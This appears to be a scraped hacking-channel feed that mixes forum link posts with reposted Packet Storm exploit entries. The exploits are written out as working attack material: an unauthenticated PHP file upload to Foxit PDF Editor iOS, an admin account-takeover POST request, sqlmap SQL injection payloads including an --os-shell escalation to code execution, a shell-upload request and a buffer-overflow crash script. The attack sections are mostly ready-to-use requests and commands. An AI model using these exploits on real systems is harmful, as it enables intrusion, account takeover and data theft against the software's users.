hacking: security in practice
Experiment with raw sockets and syscalls.

https://external-preview.redd.it/ywBuwgb1YorPyk6IItvCI3NH9fpKd-d4n2PCpH1cR3w.jpg?width=640&crop=smart&auto=webp&s=d61b50724cca844460db6c336501e9a4419851ce submitted by /u/mytechnotalent_com
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Why is it important to sanitize puppeteer protocols?

So I'm doing a CTF and given past experience, whenever a URL is sent to a puppeteer browser to do whatever, I always notice that the protocol is sanitized to be either http or https.

It's reasonable why, but if the protocol isn't sanitized, what vulnerabilities do that open up for an attacker? I'm not looking for like, the answer (since again it's an ongoing competition and I don't wanna cheat), but I can't seem to find much of anything besides chromeftpand data, all of which turned out to be useless for the context of this challenge.

submitted by /u/TheByteQueen
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

One Month Bug Bounty Journey Update
https://cyb3rwulfengrav.medium.com/one-month-bug-bounty-journey-update-9f6f0e3549d2?source=rss------bug_bounty-5

My goal with this is to explain some of my thoughts and how they changed as I progressed and how I modified my path along the way. For we…Continue reading on Medium » (https://cyb3rwulfengrav.medium.com/one-month-bug-bounty-journey-update-9f6f0e3549d2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Sports Complex Booking System 1.0 Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Foxit PDF Editor (iOS) 11.3.1 Arbitrary File Upload

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
Foxit PDF Editor (iOS) version 11.3.1 suffers from an arbitrary file upload vulnerability.

MD5 | 925a95f569a5c5864936dd2f914c9e20

Download
# Exploit Title: Foxit PDF Editor (iOS) - Arbitrary File Upload (Unauthenticated)
# Date: 24/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.foxit.com
# Software Link: https://apps.apple.com/us/app/foxit-pdf-editor/id507040546
# Version: 11.3.1
# Tested: iPhone 6 iOS 12.4.7
# Contact: https://twitter.com/dmaral3noz
- Description :

An arbitrary file upload web vulnerability has been discovered in the Foxit PDF Editor v11.3.1 iOS mobile application.
The web vulnerability allows remote attackers to upload arbitrary files to compromise for example the file system of a service

- Steps :

1- Download and install the Foxit PDF Editor iOS application
2- open App and go to Files
3- Click Pc (File transfer with wifi)
4- Enable File Transferring
5- Index of Documents (http://localhost:8888) , you can upload any extension
- Request :

POST / HTTP/1.1
Host: localhost:8888
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryC2M8Dmj739BtPV2n
Origin: http://localhost:8888
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/604.1
Connection: close
Upgrade-Insecure-Requests: 1
Referer: http://localhost:8888/
Content-Length: 304

------WebKitFormBoundaryC2M8Dmj739BtPV2n
Content-Disposition: form-data; name="button"; filename="s3od.php"
Content-Type: application/octet-stream

0xSaudi
------WebKitFormBoundaryC2M8Dmj739BtPV2n
Content-Disposition: form-data; name="button"

Upload
------WebKitFormBoundaryC2M8Dmj739BtPV2n--
****************************

Path File : http://localhost:8888/s3od.php

****************************

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Sports Complex Booking System 1.0 Account Takeover

https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
Online Sports Complex Booking System version 1.0 suffers from an account takeover vulnerability due to missing authorization controls.

MD5 | b6d49275b162f013d9b412342052fd1d

Download
# Exploit Title: Online Sports Complex Booking System - Account Takeover (Unauthenticated)
# Date: 24/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Description :

Online Sports Complex Booking System is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters

# Steps to Reproduce :

1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" parameters.

2. Go to http://localhost/scbs/admin/ and Log in to the user account by changed username and password
======

POST /scbs/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------11619114222641896828949561514
Content-Length: 811
Origin: http://localhost
Connection: close
Referer: http://localhost/scbs/admin/?page=user
Cookie: PHPSESSID=2knksvuc4mgojfd9enhccg08sn

-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="id"

1
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="firstname"

Adminstrator
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="lastname"

Admin
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="username"

admin
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="password"

admin
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------11619114222641896828949561514--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Sports Complex Booking System 1.0 SQL Injection

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
Online Sports Complex Booking System version 1.0 suffers from a remote blind SQL injection vulnerability.

MD5 | 4ebb44de595b259e76c97e5b423b7a73

Download
# Exploit Title: Online Sports Complex Booking System - 'id' Blind SQL Injection
# Date: 24/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Vulnerable Code

line 3 in file "/scbs/view_facility.php"

$qry = $conn->query("SELECT f.*, c.name as category from `facility_list` f inner join category_list c on f.category_id = c.id where f.id = '{$_GET['id']}' ");
# Sqlmap command:

sqlmap -u 'http://localhost/scbs/?p=view_facility&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta

# Output:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: p=view_facility&id=1' AND 9877=9877 AND 'MVfb'='MVfb

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=view_facility&id=1' AND (SELECT 8456 FROM (SELECT(SLEEP(5)))ZnUC) AND 'GiOo'='GiOo


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trend Micro Virtual Mobile Infrastructure 6.0.1278 Denial Of Service

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
Trend Micro Virtual Mobile Infrastructure version 6.0.1278 suffers from a denial of service vulnerability.

MD5 | be91bbba03c29d20f7c3fc0003b45b0d

Download
# Exploit Title: Trend Micro Virtual Mobile Infrastructure (TMVMI) version 6 - Denial of Service (PoC)
# Date: 24/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.trendmicro.com/
# Software Link: App Store for iOS devices
# Version: 6.0.1278
# Tested: iPhone 6 iOS 12.4.7
# Vulnerability Type: Denial of Service (DoS) Local
# Contact: https://twitter.com/dmaral3noz
# Steps to Produce the Crash:
1- Run python code: TMVMI_6.py
2- Copy content to clipboard
3- Open TMVMI Client
4- Paste ClipBoard on "address"
5- Click Next
6- Crashed
-------------------------
TMVMI_6.py
-------------------------

#!/usr/bin/env python

buffer = "\x41" * 1500
print (buffer)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microfinance Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
Microfinance Management System version 1.0 suffers from a remote blind SQL injection vulnerability that can be used to escalate privileges and execute code.

MD5 | 53bb6ae2347ecd311edc9d60a802a7d0

Download
# Title: Microfinance Management System 1.0 SQLi To Rce
# Author: Hejap Zairy
# Date: 24.07.2022
# Vendor: https://www.sourcecodester.com/php/14822/microfinance-management-system.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php

```php

$sql = "SELECT count(*) AS total_account FROM account_type";
$result = mysqli_query($conn, $sql);
$data = mysqli_fetch_assoc($result);
?>
}
```
#Status: CRITICAL
```
GET parameter 'account_type_number' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 147 HTTP(s) requests:
---
Parameter: account_type_number (GET)
Type: UNION query
Title: MySQL UNION query (random number) - 3 columns
Payload: account_type_number=-6015' UNION ALL SELECT 7366,CONCAT(0x716b626b71,0x4268666c6b715274794a58534f487366546e5379414951584a684459764f424451536f5a707a6a6a,0x7170707a71),7366#
---

```
#SQLi Time to Rce
#ُExploit
sqlmap -u 'http://0day.gov/mims/updateaccount_type.php?account_type_number=6015' --hex --time-sec=17 --dbms=mysql --technique=u --random-agent --eta -p account_type_number -D mims -T users --dump --os-shell

# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/kRcQmxO.png
https://i.imgur.com/4RmKSom.png


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
containerd Image Volume Insecure Handling

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Event Management System 1.0 Shell Upload

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png Event Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 11d07a26897f7bc6e067e726567706bcDownload # Title: Event Management System 1.0 Shell Upload
# Author: Hejap Zairy
# Date: 24.07.2022
# Vendor: https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload profile files

php```
if(isset($_POST['submit']))
{
$adminid=$_SESSION['odmsaid'];
$productname=$_POST['productName'];
$productimage1=$_FILES["productimage1"]["name"];
move_uploaded_file($_FILES["productimage1"]["tmp_name"],"assets/img/profileimages/".$_FILES["productimage1"]["name"]);
$sql="update tbladmin set Photo=:productimage1 where ID=:aid";
$query = $dbh->prepare($sql);
$query->bindParam(':productimage1',$productimage1,PDO::PARAM_STR);
$query->bindParam(':aid',$pid,PDO::PARAM_STR);
$query->execute();
$_SESSION['msg']="profile Image Updated Successfully !!";
}
?>
```
[+] Payload POST
```
POST /scbs/?p=manage_account HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/scbs/
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video